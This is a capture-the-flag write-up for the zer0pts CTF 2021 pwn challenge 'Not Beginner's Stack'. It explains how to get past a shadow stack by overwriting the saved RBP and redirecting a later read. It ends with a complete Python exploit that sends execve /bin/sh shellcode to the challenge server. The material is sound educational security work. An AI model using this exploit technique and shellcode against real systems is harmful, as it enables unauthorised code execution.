# Not Beginner's Stack - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `pwn` ## Challenge Overview We're given a 64-bit ELF and its source code. ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 24 Symbols No 0 1 chall ``` The vulnerability is a simple stack buffer overflow. ``` vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret ``` However, the stack works in a special way. ``` %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth] ;; goto function jmp %1 %%return_address: %endmacro %macro ret 0 ;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8] %endmacro ``` The return address is saved in the bss section and we can't overwrite it simply by the overflow. ## Solution What we abuse is the saved RBP. After `vuln` function ends, RBP is used for calculating the address of `buf`. ``` ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret ``` We can modify the address as we change the value of RBP. Controlling the RBP, we can write to wherever place by the next `read` call. Since PIE is disabled, we can overwrite the shadow stack to control RIP. NX is also disabled, which enables us to jump to the shellcode directly. ## Exploit ```python= from ptrlib import * elf = ELF("../distfiles/chall") sock = Socket("pwn.ctf.zer0pts.com", 9011) # overwrite saved rbp payload = b"A" * 0x100 payload += p64(elf.symbol("__stack_shadow") + 0x100) sock.sendafter("Data: ", payload) # overwrite shadow stack payload = p64(elf.symbol("__stack_shadow") + 0x80) * (0x80 // 8) payload += nasm(""" shellcode: call arg1 db '/bin/sh', 0 arg1: xor edx, edx xor esi, esi pop rdi mov eax, 59 syscall """, bits=64) sock.sendafter("Data: ", payload) sock.interactive() ```